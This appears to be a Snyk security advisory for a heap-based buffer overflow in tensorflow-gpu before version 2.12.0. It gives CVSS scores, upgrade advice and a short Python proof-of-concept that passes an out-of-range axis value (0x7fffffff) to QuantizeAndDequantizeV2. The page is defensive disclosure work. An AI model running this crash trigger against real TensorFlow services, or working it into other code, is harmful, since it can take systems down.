Heap-based Buffer Overflow Affecting tensorflow-gpu package, versions [,2.12.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.14% (51st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TENSORFLOWGPU-3373021
  • published 26 Mar 2023
  • disclosed 26 Mar 2023
  • credit Unknown

How to fix?

Upgrade tensorflow-gpu to version 2.12.0 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow. Attackers can access heap memory which is not in the control of user, leading to a crash or remote code execution. The fix will be included in TensorFlow version 2.12.0 and will also cherrypick this commit on TensorFlow version 2.11.1.

PoC

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
                                       input_min=[1.0],
                                       input_max=[10.0],
                                       signed_input=True,
                                       num_bits=1,
                                       range_given=True,
                                       round_mode='HALF_TO_EVEN',
                                       narrow_range=True,
                                       axis=0x7fffffff)
test()

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

9.8 critical